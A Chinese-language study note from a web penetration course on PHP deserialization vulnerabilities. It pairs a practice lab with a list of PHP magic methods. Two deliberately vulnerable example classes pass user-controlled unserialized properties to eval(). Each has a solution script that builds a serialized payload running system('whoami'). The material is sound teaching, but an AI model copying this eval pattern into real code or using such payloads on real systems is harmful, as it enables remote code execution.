Web渗透—PHP反序列化 课程学习分享(课程非本人制作,仅提供学习分享)
靶场下载地址:GitHub - mcc0624/php_ser_Class: php反序列化靶场课程,基于课程制作的靶场
课程地址:PHP反序列化漏洞学习_哔哩哔_bilibili
五、反序列化漏洞
1)反序列化之后的内容为一个对象
2)反序列化生成的对象里的值,由反序列化里的值提供;与原有类预定义的值无关;
反序列化漏洞的成因:反序列化过程中,unserialize()接收到的值(字符串)可控;
通过更改这个值(字符串),得到所需要的代码,即生成的对象的属性值。
3)反序列化不改变类的成员方法;需要调用方法后才能触发;
通过调用方法,触发代码执行
1.例题代码
<?php
class test{
public $a = 'echo "this is test!!";';
public function displayVar() {
eval($this->a);
}
}
$get = $_GET["benben"]; //benben为对象序列化后的字符串
$b = unserialize($get); //$b把字符串$get反序列化为对象,通过更改字符串可改变得到的对象中$a的值
$b->displayVar(); //通过调用方法触发可控代码
?>
2.解题代码
<?php
class test{
public $a = "system('whoami');";
}
echo serialize(new test);
?>
输出结果:
O:4:"test":1:{s:1:"a";s:17:"system('whoami');";}
回显结果:
调用displayVar(),displayVar()执行eval(),eval()触发代码
六、魔术方法简介
1.什么是魔术方法
一个预定好的,在特定情况下自动触发的行为方法。
2.魔术方法的作用
反序列化漏洞的成因:
反序列化过程中,unserialize()接收的值(字符串)可控;通过更改这个值(字符串),得到所需要的代码;通过调用方法,触发代码执行。
魔术方法在特定条件下自动调用相关方法,最终导致触发代码。
3.魔术方法相关机制
触发时机 ——> 功能 ——> 参数 ——> 返回值
触发时机:动作不同,触发的魔术方法也不同
参数:一些特殊魔术方法会传参
1)__construct(),类的构建函数
2)__destruct(),类的析构函数
3)__call(),在对象中调用一个不可用访问方法时调用
4)__callStatic(),用静态方式中调用一个不可用访问方法时调用
5)__get(),获得一个类的成员变量时调用
6)__isset(),当不可访问属性调用isset()或empty()时调用
7)__set(),设置一个类的成员变量时调用
8)__unset(),当对不可访问属性调用unset()时被调用
9)__sleep(),执行serialize()时,先会调用这个函数
10)__wakeup(),执行unserizlize()时,先会调用这个函数
11)__toString(),类被当成字符串时的回应方法
12)__invoke(),调用函数的方法调用一个对象时的回应方法
13)__ser_state(),调用var_export()导出类时,此静态方法被调用
14)__clone(),当对象复制完成时调用
15)__autoload(),尝试加载未定义的类
16)__debugInfo(),打印所需调试信息
4.__construct()
构造函数,在实例化一个对象的时候,首先会自动执行一个方法;
<?php
class User {
public $username;
public function __construct($username) {
$this->username = $username;
echo "触发了构造函数1次" ;
}
}
$test = new User("benben"); //实例化对象时触发构造函数__construct()
$ser = serialize($test); //在序列化和反序列化过程中不会触发
unserialize($ser);
?>
触发时机:实例化对象
功能:提前清理不必要内容
参数:非必要
返回值:(无)
5. __destruct()
析构函数,在对象的所有引用被删除或当对象被显式销毁时执行的魔术方法;
<?php
class User {
public function __destruct(){
echo "触发了析构函数1次"."<br />" ;
}
}
$test = new User("benben"); //实例化对象结束后,代码运行完全会销毁,触发析构函数__destruct()
$ser = serialize($test); //在序列化过程中不会被触发
unserialize($ser); //在反序列化过程中会被触发
?>
反序列化得到的是对象,用完后会被销毁,触发析构函数__destruct()
触发时机:对象引用完成,或对象被销毁
功能:(无)
参数:(无)
返回值:(无)
6.析构函数例题
<?php
class User {
var $cmd = "echo 'dazhuang666!!';" ;
public function __destruct()
{
eval ($this->cmd);
}
}
$ser = $_GET["benben"];
unserialize($ser);
?>
反序列化会触发__destruct()
7. 解题代码
<?php
class User {
var $cmd = "system('whoami');" ;
}
echo serialize(new User);
?>
输出结果:
O:4:"User":1:{s:3:"cmd";s:17:"system('whoami');";}
回显结果:
unserialize()触发__destruct(),destruct执行eval(),eval()触发代码